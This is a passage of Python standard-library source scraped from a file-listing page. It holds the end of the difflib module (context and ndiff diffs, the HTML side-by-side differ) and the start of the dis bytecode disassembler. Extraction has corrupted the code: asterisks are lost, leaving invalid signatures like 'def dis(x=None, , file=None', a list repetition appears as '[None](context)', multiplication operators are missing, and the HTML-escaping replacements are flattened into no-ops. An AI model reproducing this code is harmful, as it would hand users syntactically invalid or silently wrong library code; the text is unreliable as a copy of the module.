'{},{}'.format(beginning, beginning + length - 1) # See http://www.unix.org/single_unix_specification/ def context_diff(a, b, fromfile='', tofile='', fromfiledate='', tofiledate='', n=3, lineterm='\n'): r""" Compare two sequences of lines; generate the delta as a context diff. Context diffs are a compact way of showing line changes and a few lines of context. The number of context lines is set by 'n' which defaults to three. By default, the diff control lines (those with * or ---) are created with a trailing newline. This is helpful so that inputs created from file.readlines() result in diffs that are suitable for file.writelines() since both the inputs and outputs have trailing newlines. For inputs that do not have trailing newlines, set the lineterm argument to "" so that the output will be uniformly newline free. The context diff format normally has a header for filenames and modification times. Any or all of these may be specified using strings for 'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'. The modification times are normally expressed in the ISO 8601 format. If not specified, the strings default to blanks. Example: >>> print(''.join(context_diff('one\ntwo\nthree\nfour\n'.splitlines(True), ... 'zero\none\ntree\nfour\n'.splitlines(True), 'Original', 'Current')), ... end="") * Original --- Current ************* * 1,4 ** one ! two ! three four --- 1,4 ---- + zero one ! tree four """ _check_types(a, b, fromfile, tofile, fromfiledate, tofiledate, lineterm) prefix = dict(insert='+ ', delete='- ', replace='! ', equal=' ') started = False for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n): if not started: started = True fromdate = '\t{}'.format(fromfiledate) if fromfiledate else '' todate = '\t{}'.format(tofiledate) if tofiledate else '' yield '* {}{}{}'.format(fromfile, fromdate, lineterm) yield '--- {}{}{}'.format(tofile, todate, lineterm) first, last = group[0], group[-1] yield '*************' + lineterm file1_range = _format_range_context(first[1], last[2]) yield '* {} ***{}'.format(file1_range, lineterm) if any(tag in {'replace', 'delete'} for tag, _, _, _, _ in group): for tag, i1, i2, _, _ in group: if tag != 'insert': for line in a[i1:i2]: yield prefix[tag] + line file2_range = _format_range_context(first[3], last[4]) yield '--- {} ----{}'.format(file2_range, lineterm) if any(tag in {'replace', 'insert'} for tag, _, _, _, _ in group): for tag, _, _, j1, j2 in group: if tag != 'delete': for line in b[j1:j2]: yield prefix[tag] + line def _check_types(a, b, args): # Checking types is weird, but the alternative is garbled output when # someone passes mixed bytes and str to {unified,context}_diff(). E.g. # without this check, passing filenames as bytes results in output like # --- b'oldfile.txt' # +++ b'newfile.txt' # because of how str.format() incorporates bytes objects. if a and not isinstance(a[0], str): raise TypeError('lines to compare must be str, not %s (%r)' % (type(a[0]).__name__, a[0])) if b and not isinstance(b[0], str): raise TypeError('lines to compare must be str, not %s (%r)' % (type(b[0]).__name__, b[0])) for arg in args: if not isinstance(arg, str): raise TypeError('all arguments must be str, not: %r' % (arg,)) def diff_bytes(dfunc, a, b, fromfile=b'', tofile=b'', fromfiledate=b'', tofiledate=b'', n=3, lineterm=b'\n'): r""" Compare `a` and `b`, two sequences of lines represented as bytes rather than str. This is a wrapper for `dfunc`, which is typically either unified_diff() or context_diff(). Inputs are losslessly converted to strings so that `dfunc` only has to worry about strings, and encoded back to bytes on return. This is necessary to compare files with unknown or inconsistent encoding. All other inputs (except `n`) must be bytes rather than str. """ def decode(s): try: return s.decode('ascii', 'surrogateescape') except AttributeError as err: msg = ('all arguments must be bytes, not %s (%r)' % (type(s).__name__, s)) raise TypeError(msg) from err a = list(map(decode, a)) b = list(map(decode, b)) fromfile = decode(fromfile) tofile = decode(tofile) fromfiledate = decode(fromfiledate) tofiledate = decode(tofiledate) lineterm = decode(lineterm) lines = dfunc(a, b, fromfile, tofile, fromfiledate, tofiledate, n, lineterm) for line in lines: yield line.encode('ascii', 'surrogateescape') def ndiff(a, b, linejunk=None, charjunk=IS_CHARACTER_JUNK): r""" Compare `a` and `b` (lists of strings); return a `Differ`-style delta. Optional keyword parameters `linejunk` and `charjunk` are for filter functions, or can be None: - linejunk: A function that should accept a single string argument and return true iff the string is junk. The default is None, and is recommended; the underlying SequenceMatcher class has an adaptive notion of "noise" lines. - charjunk: A function that accepts a character (string of length 1), and returns true iff the character is junk. The default is the module-level function IS_CHARACTER_JUNK, which filters out whitespace characters (a blank or tab; note: it's a bad idea to include newline in this!). Tools/scripts/ndiff.py is a command-line front-end to this function. Example: >>> diff = ndiff('one\ntwo\nthree\n'.splitlines(keepends=True), ... 'ore\ntree\nemu\n'.splitlines(keepends=True)) >>> print(''.join(diff), end="") - one ? ^ + ore ? ^ - two - three ? - + tree + emu """ return Differ(linejunk, charjunk).compare(a, b) def _mdiff(fromlines, tolines, context=None, linejunk=None, charjunk=IS_CHARACTER_JUNK): r"""Returns generator yielding marked up from/to side by side differences. Arguments: fromlines -- list of text lines to compared to tolines tolines -- list of text lines to be compared to fromlines context -- number of context lines to display on each side of difference, if None, all from/to text lines will be generated. linejunk -- passed on to ndiff (see ndiff documentation) charjunk -- passed on to ndiff (see ndiff documentation) This function returns an iterator which returns a tuple: (from line tuple, to line tuple, boolean flag) from/to line tuple -- (line num, line text) line num -- integer or None (to indicate a context separation) line text -- original line text with following markers inserted: '\0+' -- marks start of added text '\0-' -- marks start of deleted text '\0^' -- marks start of changed text '\1' -- marks end of added/deleted/changed text boolean flag -- None indicates context separation, True indicates either "from" or "to" line contains a change, otherwise False. This function/iterator was originally developed to generate side by side file difference for making HTML pages (see HtmlDiff class for example usage). Note, this function utilizes the ndiff function to generate the side by side difference markup. Optional ndiff arguments may be passed to this function and they in turn will be passed to ndiff. """ import re # regular expression for finding intraline change indices change_re = re.compile(r'(\++\|\-+\|\^+)') # create the difference iterator to generate the differences diff_lines_iterator = ndiff(fromlines,tolines,linejunk,charjunk) def _make_line(lines, format_key, side, num_lines=[0,0]): """Returns line of text with user's change markup and line formatting. lines -- list of lines from the ndiff generator to produce a line of text from. When producing the line of text to return, the lines used are removed from this list. format_key -- '+' return first line in list with "add" markup around the entire line. '-' return first line in list with "delete" markup around the entire line. '?' return first line in list with add/delete/change intraline markup (indices obtained from second line) None return first line in list with no markup side -- indice into the num_lines list (0=from,1=to) num_lines -- from/to current line number. This is NOT intended to be a passed parameter. It is present as a keyword argument to maintain memory of the current line numbers between calls of this function. Note, this function is purposefully not defined at the module scope so that data it needs from its parent function (within whose context it is defined) does not need to be of module scope. """ num_lines[side] += 1 # Handle case where no user markup is to be added, just return line of # text with user's line format to allow for usage of the line number. if format_key is None: return (num_lines[side],lines.pop(0)[2:]) # Handle case of intraline changes if format_key == '?': text, markers = lines.pop(0), lines.pop(0) # find intraline changes (store change type and indices in tuples) sub_info = [] def record_sub_info(match_object,sub_info=sub_info): sub_info.append([match_object.group(1)[0],match_object.span()]) return match_object.group(1) change_re.sub(record_sub_info,markers) # process each tuple inserting our special marks that won't be # noticed by an xml/html escaper. for key,(begin,end) in reversed(sub_info): text = text[0:begin]+'\0'+key+text[begin:end]+'\1'+text[end:] text = text[2:] # Handle case of add/delete entire line else: text = lines.pop(0)[2:] # if line of text is just a newline, insert a space so there is # something for the user to highlight and see. if not text: text = ' ' # insert marks that won't be noticed by an xml/html escaper. text = '\0' + format_key + text + '\1' # Return line of text, first allow user's line formatter to do its # thing (such as adding the line number) then replace the special # marks with what the user's change markup. return (num_lines[side],text) def _line_iterator(): """Yields from/to lines of text with a change indication. This function is an iterator. It itself pulls lines from a differencing iterator, processes them and yields them. When it can it yields both a "from" and a "to" line, otherwise it will yield one or the other. In addition to yielding the lines of from/to text, a boolean flag is yielded to indicate if the text line(s) have differences in them. Note, this function is purposefully not defined at the module scope so that data it needs from its parent function (within whose context it is defined) does not need to be of module scope. """ lines = [] num_blanks_pending, num_blanks_to_yield = 0, 0 while True: # Load up next 4 lines so we can look ahead, create strings which # are a concatenation of the first character of each of the 4 lines # so we can do some very readable comparisons. while len(lines) < 4: lines.append(next(diff_lines_iterator, 'X')) s = ''.join([line[0] for line in lines]) if s.startswith('X'): # When no more lines, pump out any remaining blank lines so the # corresponding add/delete lines get a matching blank line so # all line pairs get yielded at the next level. num_blanks_to_yield = num_blanks_pending elif s.startswith('-?+?'): # simple intraline change yield _make_line(lines,'?',0), _make_line(lines,'?',1), True continue elif s.startswith('--++'): # in delete block, add block coming: we do NOT want to get # caught up on blank lines yet, just process the delete line num_blanks_pending -= 1 yield _make_line(lines,'-',0), None, True continue elif s.startswith(('--?+', '--+', '- ')): # in delete block and see an intraline change or unchanged line # coming: yield the delete line and then blanks from_line,to_line = _make_line(lines,'-',0), None num_blanks_to_yield,num_blanks_pending = num_blanks_pending-1,0 elif s.startswith('-+?'): # intraline change yield _make_line(lines,None,0), _make_line(lines,'?',1), True continue elif s.startswith('-?+'): # intraline change yield _make_line(lines,'?',0), _make_line(lines,None,1), True continue elif s.startswith('-'): # delete FROM line num_blanks_pending -= 1 yield _make_line(lines,'-',0), None, True continue elif s.startswith('+--'): # in add block, delete block coming: we do NOT want to get # caught up on blank lines yet, just process the add line num_blanks_pending += 1 yield None, _make_line(lines,'+',1), True continue elif s.startswith(('+ ', '+-')): # will be leaving an add block: yield blanks then add line from_line, to_line = None, _make_line(lines,'+',1) num_blanks_to_yield,num_blanks_pending = num_blanks_pending+1,0 elif s.startswith('+'): # inside an add block, yield the add line num_blanks_pending += 1 yield None, _make_line(lines,'+',1), True continue elif s.startswith(' '): # unchanged text, yield it to both sides yield _make_line(lines[:],None,0),_make_line(lines,None,1),False continue # Catch up on the blank lines so when we yield the next from/to # pair, they are lined up. while(num_blanks_to_yield < 0): num_blanks_to_yield += 1 yield None,('','\n'),True while(num_blanks_to_yield > 0): num_blanks_to_yield -= 1 yield ('','\n'),None,True if s.startswith('X'): return else: yield from_line,to_line,True def _line_pair_iterator(): """Yields from/to lines of text with a change indication. This function is an iterator. It itself pulls lines from the line iterator. Its difference from that iterator is that this function always yields a pair of from/to text lines (with the change indication). If necessary it will collect single from/to lines until it has a matching pair from/to pair to yield. Note, this function is purposefully not defined at the module scope so that data it needs from its parent function (within whose context it is defined) does not need to be of module scope. """ line_iterator = _line_iterator() fromlines,tolines=[],[] while True: # Collecting lines of text until we have a from/to pair while (len(fromlines)==0 or len(tolines)==0): try: from_line, to_line, found_diff = next(line_iterator) except StopIteration: return if from_line is not None: fromlines.append((from_line,found_diff)) if to_line is not None: tolines.append((to_line,found_diff)) # Once we have a pair, remove them from the collection and yield it from_line, fromDiff = fromlines.pop(0) to_line, to_diff = tolines.pop(0) yield (from_line,to_line,fromDiff or to_diff) # Handle case where user does not want context differencing, just yield # them up without doing anything else with them. line_pair_iterator = _line_pair_iterator() if context is None: yield from line_pair_iterator # Handle case where user wants context differencing. We must do some # storage of lines until we know for sure that they are to be yielded. else: context += 1 lines_to_write = 0 while True: # Store lines up until we find a difference, note use of a # circular queue because we only need to keep around what # we need for context. index, contextLines = 0, [None](context) found_diff = False while(found_diff is False): try: from_line, to_line, found_diff = next(line_pair_iterator) except StopIteration: return i = index % context contextLines[i] = (from_line, to_line, found_diff) index += 1 # Yield lines that we have collected so far, but first yield # the user's separator. if index > context: yield None, None, None lines_to_write = context else: lines_to_write = index index = 0 while(lines_to_write): i = index % context index += 1 yield contextLines[i] lines_to_write -= 1 # Now yield the context lines after the change lines_to_write = context-1 try: while(lines_to_write): from_line, to_line, found_diff = next(line_pair_iterator) # If another change within the context, extend the context if found_diff: lines_to_write = context-1 else: lines_to_write -= 1 yield from_line, to_line, found_diff except StopIteration: # Catch exception from next() and return normally return _file_template = """ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=%(charset)s" /> <title></title> <style type="text/css">%(styles)s </style> </head> <body> %(table)s%(legend)s </body> </html>""" _styles = """ table.diff {font-family:Courier; border:medium;} .diff_header {background-color:#e0e0e0} td.diff_header {text-align:right} .diff_next {background-color:#c0c0c0} .diff_add {background-color:#aaffaa} .diff_chg {background-color:#ffff77} .diff_sub {background-color:#ffaaaa}""" _table_template = """ <table class="diff" id="difflib_chg_%(prefix)s_top" cellspacing="0" cellpadding="0" rules="groups" > <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup> %(header_row)s <tbody> %(data_rows)s </tbody> </table>""" _legend = """ <table class="diff" summary="Legends"> <tr> <th colspan="2"> Legends </th> </tr> <tr> <td> <table border="" summary="Colors"> <tr><th> Colors </th> </tr> <tr><td class="diff_add"> Added </td></tr> <tr><td class="diff_chg">Changed</td> </tr> <tr><td class="diff_sub">Deleted</td> </tr> </table></td> <td> <table border="" summary="Links"> <tr><th colspan="2"> Links </th> </tr> <tr><td>(f)irst change</td> </tr> <tr><td>(n)ext change</td> </tr> <tr><td>(t)op</td> </tr> </table></td> </tr> </table>""" class HtmlDiff(object): """For producing HTML side by side comparison with change highlights. This class can be used to create an HTML table (or a complete HTML file containing the table) showing a side by side, line by line comparison of text with inter-line and intra-line change highlights. The table can be generated in either full or contextual difference mode. The following methods are provided for HTML generation: make_table -- generates HTML for a single side by side table make_file -- generates complete HTML file with a single side by side table See tools/scripts/diff.py for an example usage of this class. """ _file_template = _file_template _styles = _styles _table_template = _table_template _legend = _legend _default_prefix = 0 def __init__(self,tabsize=8,wrapcolumn=None,linejunk=None, charjunk=IS_CHARACTER_JUNK): """HtmlDiff instance initializer Arguments: tabsize -- tab stop spacing, defaults to 8. wrapcolumn -- column number where lines are broken and wrapped, defaults to None where lines are not wrapped. linejunk,charjunk -- keyword arguments passed into ndiff() (used by HtmlDiff() to generate the side by side HTML differences). See ndiff() documentation for argument default values and descriptions. """ self._tabsize = tabsize self._wrapcolumn = wrapcolumn self._linejunk = linejunk self._charjunk = charjunk def make_file(self, fromlines, tolines, fromdesc='', todesc='', context=False, numlines=5, , charset='utf-8'): """Returns HTML file of side by side comparison with change highlights Arguments: fromlines -- list of "from" lines tolines -- list of "to" lines fromdesc -- "from" file column header string todesc -- "to" file column header string context -- set to True for contextual differences (defaults to False which shows full differences). numlines -- number of context lines. When context is set True, controls number of lines displayed before and after the change. When context is False, controls the number of lines to place the "next" link anchors before the next change (so click of "next" link jumps to just before the change). charset -- charset of the HTML document """ return (self._file_template % dict( styles=self._styles, legend=self._legend, table=self.make_table(fromlines, tolines, fromdesc, todesc, context=context, numlines=numlines), charset=charset )).encode(charset, 'xmlcharrefreplace').decode(charset) def _tab_newline_replace(self,fromlines,tolines): """Returns from/to line lists with tabs expanded and newlines removed. Instead of tab characters being replaced by the number of spaces needed to fill in to the next tab stop, this function will fill the space with tab characters. This is done so that the difference algorithms can identify changes in a file when tabs are replaced by spaces and vice versa. At the end of the HTML generation, the tab characters will be replaced with a nonbreakable space. """ def expand_tabs(line): # hide real spaces line = line.replace(' ','\0') # expand tabs into spaces line = line.expandtabs(self._tabsize) # replace spaces from expanded tabs back into tab characters # (we'll replace them with markup after we do differencing) line = line.replace(' ','\t') return line.replace('\0',' ').rstrip('\n') fromlines = [expand_tabs(line) for line in fromlines] tolines = [expand_tabs(line) for line in tolines] return fromlines,tolines def _split_line(self,data_list,line_num,text): """Builds list of text lines by splitting text lines at wrap point This function will determine if the input text line needs to be wrapped (split) into separate lines. If so, the first wrap point will be determined and the first line appended to the output text line list. This function is used recursively to handle the second part of the split line to further split it. """ # if blank line or context separator, just add it to the output list if not line_num: data_list.append((line_num,text)) return # if line text doesn't need wrapping, just add it to the output list size = len(text) max = self._wrapcolumn if (size <= max) or ((size -(text.count('\0')3)) <= max): data_list.append((line_num,text)) return # scan text looking for the wrap point, keeping track if the wrap # point is inside markers i = 0 n = 0 mark = '' while n < max and i < size: if text[i] == '\0': i += 1 mark = text[i] i += 1 elif text[i] == '\1': i += 1 mark = '' else: i += 1 n += 1 # wrap point is inside text, break it up into separate lines line1 = text[:i] line2 = text[i:] # if wrap point is inside markers, place end marker at end of first # line and start marker at beginning of second line because each # line will have its own table tag markup around it. if mark: line1 = line1 + '\1' line2 = '\0' + mark + line2 # tack on first line onto the output list data_list.append((line_num,line1)) # use this routine again to wrap the remaining text self._split_line(data_list,'>',line2) def _line_wrapper(self,diffs): """Returns iterator that splits (wraps) mdiff text lines""" # pull from/to data and flags from mdiff iterator for fromdata,todata,flag in diffs: # check for context separators and pass them through if flag is None: yield fromdata,todata,flag continue (fromline,fromtext),(toline,totext) = fromdata,todata # for each from/to line split it at the wrap column to form # list of text lines. fromlist,tolist = [],[] self._split_line(fromlist,fromline,fromtext) self._split_line(tolist,toline,totext) # yield from/to line in pairs inserting blank lines as # necessary when one side has more wrapped lines while fromlist or tolist: if fromlist: fromdata = fromlist.pop(0) else: fromdata = ('',' ') if tolist: todata = tolist.pop(0) else: todata = ('',' ') yield fromdata,todata,flag def _collect_lines(self,diffs): """Collects mdiff output into separate lists Before storing the mdiff from/to data into a list, it is converted into a single line of text with HTML markup. """ fromlist,tolist,flaglist = [],[],[] # pull from/to data and flags from mdiff style iterator for fromdata,todata,flag in diffs: try: # store HTML markup of the lines into the lists fromlist.append(self._format_line(0,flag,fromdata)) tolist.append(self._format_line(1,flag,todata)) except TypeError: # exceptions occur for lines where context separators go fromlist.append(None) tolist.append(None) flaglist.append(flag) return fromlist,tolist,flaglist def _format_line(self,side,flag,linenum,text): """Returns HTML markup of "from" / "to" text lines side -- 0 or 1 indicating "from" or "to" text flag -- indicates if difference on line linenum -- line number (used for line number column) text -- line text to be marked up """ try: linenum = '%d' % linenum id = ' id="%s%s"' % (self._prefix[side],linenum) except TypeError: # handle blank lines where linenum is '>' or '' id = '' # replace those things that would get confused with HTML symbols text=text.replace("&","&").replace(">",">").replace("<","<") # make space non-breakable so they don't get compressed or line wrapped text = text.replace(' ',' ').rstrip() return '<td class="diff_header"%s>%s</td><td nowrap="nowrap">%s</td>' \ % (id,linenum,text) def _make_prefix(self): """Create unique anchor prefixes""" # Generate a unique anchor prefix so multiple tables # can exist on the same HTML page without conflicts. fromprefix = "from%d_" % HtmlDiff._default_prefix toprefix = "to%d_" % HtmlDiff._default_prefix HtmlDiff._default_prefix += 1 # store prefixes so line format method has access self._prefix = [fromprefix,toprefix] def _convert_flags(self,fromlist,tolist,flaglist,context,numlines): """Makes list of "next" links""" # all anchor names will be generated using the unique "to" prefix toprefix = self._prefix[1] # process change flags, generating middle column of next anchors/links next_id = ['']len(flaglist) next_href = ['']*len(flaglist) num_chg, in_change = 0, False last = 0 for i,flag in enumerate(flaglist): if flag: if not in_change: in_change = True last = i # at the beginning of a change, drop an anchor a few lines # (the context lines) before the change for the previous # link i = max([0,i-numlines]) next_id[i] = ' id="difflib_chg_%s_%d"' % (toprefix,num_chg) # at the beginning of a change, drop a link to the next # change num_chg += 1 next_href[last] = '<a href="#difflib_chg_%s_%d">n</a>' % ( toprefix,num_chg) else: in_change = False # check for cases where there is no content to avoid exceptions if not flaglist: flaglist = [False] next_id = [''] next_href = [''] last = 0 if context: fromlist = ['<td></td><td> No Differences Found </td>'] tolist = fromlist else: fromlist = tolist = ['<td></td><td> Empty File </td>'] # if not a change on first line, drop a link if not flaglist[0]: next_href[0] = '<a href="#difflib_chg_%s_0">f</a>' % toprefix # redo the last link to link to the top next_href[last] = '<a href="#difflib_chg_%s_top">t</a>' % (toprefix) return fromlist,tolist,flaglist,next_href,next_id def make_table(self,fromlines,tolines,fromdesc='',todesc='',context=False, numlines=5): """Returns HTML table of side by side comparison with change highlights Arguments: fromlines -- list of "from" lines tolines -- list of "to" lines fromdesc -- "from" file column header string todesc -- "to" file column header string context -- set to True for contextual differences (defaults to False which shows full differences). numlines -- number of context lines. When context is set True, controls number of lines displayed before and after the change. When context is False, controls the number of lines to place the "next" link anchors before the next change (so click of "next" link jumps to just before the change). """ # make unique anchor prefixes so that multiple tables may exist # on the same page without conflict. self._make_prefix() # change tabs to spaces before it gets more difficult after we insert # markup fromlines,tolines = self._tab_newline_replace(fromlines,tolines) # create diffs iterator which generates side by side from/to data if context: context_lines = numlines else: context_lines = None diffs = _mdiff(fromlines,tolines,context_lines,linejunk=self._linejunk, charjunk=self._charjunk) # set up iterator to wrap lines that exceed desired width if self._wrapcolumn: diffs = self._line_wrapper(diffs) # collect up from/to lines and flags into lists (also format the lines) fromlist,tolist,flaglist = self._collect_lines(diffs) # process change flags, generating middle column of next anchors/links fromlist,tolist,flaglist,next_href,next_id = self._convert_flags( fromlist,tolist,flaglist,context,numlines) s = [] fmt = ' <tr><td class="diff_next"%s>%s</td>%s' + \ '<td class="diff_next">%s</td>%s</tr>\n' for i in range(len(flaglist)): if flaglist[i] is None: # mdiff yields None on separator lines skip the bogus ones # generated for the first line if i > 0: s.append(' </tbody> \n <tbody>\n') else: s.append( fmt % (next_id[i],next_href[i],fromlist[i], next_href[i],tolist[i])) if fromdesc or todesc: header_row = '<thead><tr>%s%s%s%s</tr></thead>' % ( '<th class="diff_next"><br /></th>', '<th colspan="2" class="diff_header">%s</th>' % fromdesc, '<th class="diff_next"><br /></th>', '<th colspan="2" class="diff_header">%s</th>' % todesc) else: header_row = '' table = self._table_template % dict( data_rows=''.join(s), header_row=header_row, prefix=self._prefix[1]) return table.replace('\0+','<span class="diff_add">'). \ replace('\0-','<span class="diff_sub">'). \ replace('\0^','<span class="diff_chg">'). \ replace('\1','</span>'). \ replace('\t',' ') del re def restore(delta, which): r""" Generate one of the two sequences that generated a delta. Given a `delta` produced by `Differ.compare()` or `ndiff()`, extract lines originating from file 1 or 2 (parameter `which`), stripping off line prefixes. Examples: >>> diff = ndiff('one\ntwo\nthree\n'.splitlines(keepends=True), ... 'ore\ntree\nemu\n'.splitlines(keepends=True)) >>> diff = list(diff) >>> print(''.join(restore(diff, 1)), end="") one two three >>> print(''.join(restore(diff, 2)), end="") ore tree emu """ try: tag = {1: "- ", 2: "+ "}[int(which)] except KeyError: raise ValueError('unknown delta choice (must be 1 or 2): %r' % which) from None prefixes = (" ", tag) for line in delta: if line[:2] in prefixes: yield line[2:] def _test(): import doctest, difflib return doctest.testmod(difflib) if __name__ == "__main__": _test()	82.42 KB	2024-04-17 17:55
📄 dis.py """Disassembler of Python byte code into mnemonics.""" import sys import types import collections import io from opcode import * from opcode import __all__ as _opcodes_all __all__ = ["code_info", "dis", "disassemble", "distb", "disco", "findlinestarts", "findlabels", "show_code", "get_instructions", "Instruction", "Bytecode"] + _opcodes_all del _opcodes_all _have_code = (types.MethodType, types.FunctionType, types.CodeType, classmethod, staticmethod, type) FORMAT_VALUE = opmap['FORMAT_VALUE'] def _try_compile(source, name): """Attempts to compile the given source, first as an expression and then as a statement if the first approach fails. Utility function to accept strings in functions that otherwise expect code objects """ try: c = compile(source, name, 'eval') except SyntaxError: c = compile(source, name, 'exec') return c def dis(x=None, , file=None, depth=None): """Disassemble classes, methods, functions, and other compiled objects. With no argument, disassemble the last traceback. Compiled objects currently include generator objects, async generator objects, and coroutine objects, all of which store their code object in a special attribute. """ if x is None: distb(file=file) return # Extract functions from methods. if hasattr(x, '__func__'): x = x.__func__ # Extract compiled code objects from... if hasattr(x, '__code__'): # ...a function, or x = x.__code__ elif hasattr(x, 'gi_code'): #...a generator object, or x = x.gi_code elif hasattr(x, 'ag_code'): #...an asynchronous generator object, or x = x.ag_code elif hasattr(x, 'cr_code'): #...a coroutine. x = x.cr_code # Perform the disassembly. if hasattr(x, '__dict__'): # Class or module items = sorted(x.__dict__.items()) for name, x1 in items: if isinstance(x1, _have_code): print("Disassembly of %s:" % name, file=file) try: dis(x1, file=file, depth=depth) except TypeError as msg: print("Sorry:", msg, file=file) print(file=file) elif hasattr(x, 'co_code'): # Code object _disassemble_recursive(x, file=file, depth=depth) elif isinstance(x, (bytes, bytearray)): # Raw bytecode _disassemble_bytes(x, file=file) elif isinstance(x, str): # Source code _disassemble_str(x, file=file, depth=depth) else: raise TypeError("don't know how to disassemble %s objects" % type(x).__name__) def distb(tb=None, , file=None): """Disassemble a traceback (default: last traceback).""" if tb is None: try: tb = sys.last_traceback except AttributeError: raise RuntimeError("no last traceback to disassemble") from None while tb.tb_next: tb = tb.tb_next disassemble(tb.tb_frame.f_code, tb.tb_lasti, file=file) # The inspect module interrogates this dictionary to build its # list of CO_* constants. It is also used by pretty_flags to # turn the co_flags field into a human readable list. COMPILER_FLAG_NAMES = { 1: "OPTIMIZED", 2: "NEWLOCALS", 4: "VARARGS", 8: "VARKEYWORDS", 16: "NESTED", 32: "GENERATOR", 64: "NOFREE", 128: "COROUTINE", 256: "ITERABLE_COROUTINE", 512: "ASYNC_GENERATOR", } def pretty_flags(flags): """Return pretty representation of code flags.""" names = [] for i in range(32): flag = 1<<i if flags & flag: names.append(COMPILER_FLAG_NAMES.get(flag, hex(flag))) flags ^= flag if not flags: break else: names.append(hex(flags)) return ", ".join(names) def _get_code_object(x): """Helper to handle methods, compiled or raw code objects, and strings.""" # Extract functions from methods. if hasattr(x, '__func__'): x = x.__func__ # Extract compiled code objects from... if hasattr(x, '__code__'): # ...a function, or x = x.__code__ elif hasattr(x, 'gi_code'): #...a generator object, or x = x.gi_code elif hasattr(x, 'ag_code'): #...an asynchronous generator object, or x = x.ag_code elif hasattr(x, 'cr_code'): #...a coroutine. x = x.cr_code # Handle source code. if isinstance(x, str): x = _try_compile(x, "<disassembly>") # By now, if we don't have a code object, we can't disassemble x. if hasattr(x, 'co_code'): return x raise TypeError("don't know how to disassemble %s objects" % type(x).__name__) def code_info(x): """Formatted details of methods, functions, or code.""" return _format_code_info(_get_code_object(x)) def _format_code_info(co): lines = [] lines.append("Name: %s" % co.co_name) lines.append("Filename: %s" % co.co_filename) lines.append("Argument count: %s" % co.co_argcount) lines.append("Kw-only arguments: %s" % co.co_kwonlyargcount) lines.append("Number of locals: %s" % co.co_nlocals) lines.append("Stack size: %s" % co.co_stacksize) lines.append("Flags: %s" % pretty_flags(co.co_flags)) if co.co_consts: lines.append("Constants:") for i_c in enumerate(co.co_consts): lines.append("%4d: %r" % i_c) if co.co_names: lines.append("Names:") for i_n in enumerate(co.co_names): lines.append("%4d: %s" % i_n) if co.co_varnames: lines.append("Variable names:") for i_n in enumerate(co.co_varnames): lines.append("%4d: %s" % i_n) if co.co_freevars: lines.append("Free variables:") for i_n in enumerate(co.co_freevars): lines.append("%4d: %s" % i_n) if co.co_cellvars: lines.append("Cell variables:") for i_n in enumerate(co.co_cellvars): lines.append("%4d: %s" % i_n) return "\n".join(lines) def show_code(co, , file=None): """Print details of methods, functions, or code to file. If file* is not provided, the output is printed on stdout. """ print(code_info(co), file=file) _Instruction = collections.namedtuple("_Instruction", "opname opcode arg argval argrepr offset starts_line is_jump_target") _Instruction.opname.__doc__ = "Human readable name for operation" _Instruction.opcode.__doc__ = "Numeric code for operation" _Instruction.arg.__doc__ = "Numeric argument to operation (if any), otherwise None" _Instruction.argval.__doc__ = "Resolved arg value (if known), otherwise same as arg" _Instruction.argrepr.__doc__ = "Human readable description of operation argument" _Instruction.offset.__doc__ = "Start index of operation within bytecode sequence" _Instruction.starts_line.__doc__ = "Line started by this opcode (if any), otherwise None" _Instruction.is_jump_target.__doc__ = "True if other code jumps to here, otherwise False" _OPNAME_WIDTH = 20 _OPARG_WIDTH = 5 class Instruction(_Instruction): """Details for a bytecode operation Defined fields: opname - human readable name for operation opcode - numeric code for operation arg - numeric argument to operation (if any), otherwise None argval - resolved arg value (if known), otherwise same as arg argrepr - human readable description of operation argument offset - start index of operation within bytecode sequence starts_line - line started by this opcode (if any), otherwise None is_jump_target - True if other code jumps to here, otherwise False """ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4): """Format instruction details for inclusion in disassembly output lineno_width sets the width of the line number field (0 omits it) mark_as_current inserts a '-->' marker arrow as part of the line offset_width sets the width of the instruction offset field """ fields = [] # Column: Source code line number if lineno_width: if self.starts_line is not None: lineno_fmt = "%%%dd" % lineno_width fields.append(lineno_fmt % self.starts_line) else: fields.append(' ' * lineno_width) # Column: Current instruction indicator if mark_as_current: fields.append('-->') else: fields.append(' ') # Column: Jump target marker if self.is_jump_target: fields.append('>>') else: fields.append(' ') # Column: Instruction offset from start of code sequence fields.append(repr(self.offset).rjust(offset_width)) # Column: Opcode name fields.append(self.opname.ljust(_OPNAME_WIDTH)) # Column: Opcode argument if self.arg is not None: fields.append(repr(self.arg).rjust(_OPARG_WIDTH)) # Column: Opcode argument details if self.argrepr: fields.append('(' + self.argrepr + ')') return ' '.join(fields).rstrip() def get_instructions(x, , first_line=None): """Iterator for the opcodes in methods, functions or code Generates a series of Instruction named tuples giving the details of each operations in the supplied code. If first_line* is not None, it indicates the line number that should be reported for the first source line in the disassembled code. Otherwise, the source line information (if any) is taken directly from the disassembled code object. """ co = _get_code_object(x) cell_names = co.co_cellvars + co.co_freevars linestarts = dict(findlinestarts(co)) if first_line is not None: line_offset = first_line - co.co_firstlineno else: line_offset = 0 return _get_instructions_bytes(co.co_code, co.co_varnames, co.co_names, co.co_consts, cell_names, linestarts, line_offset) def _get_const_info(const_index, const_list): """Helper to get optional details about const references Returns the dereferenced constant and its repr if the constant list is defined. Otherwise returns the constant index and its repr(). """ argval = const_index if const_list is not None: argval = const_list[const_index] return argval, repr(argval) def _get_name_info(name_index, name_list): """Helper to get optional details about named references Returns the dereferenced name as both value and repr if the name list is defined. Otherwise returns the name index and its repr(). """ argval = name_index if name_list is not None: argval = name_list[name_index] argrepr = argval else: argrepr = repr(argval) return argval, argrepr def _get_instructions_bytes(code, varnames=None, names=None, constants=None, cells=None, linestarts=None, line_offset=0): """Iterate over the instructions in a bytecode string. Generates a sequence of Instruction namedtuples giving the details of each opcode. Additional information about the code's runtime environment (e.g. variable names, constants) can be specified using optional arguments. """ labels = findlabels(code) starts_line = None for offset, op, arg in _unpack_opargs(code): if linestarts is not None: starts_line = linestarts.get(offset, None) if starts_line is not None: starts_line += line_offset is_jump_target = offset in labels argval = None argrepr = '' if arg is not None: # Set argval to the dereferenced value of the argument when # available, and argrepr to the string representation of argval. # _disassemble_bytes needs the string repr of the # raw name index 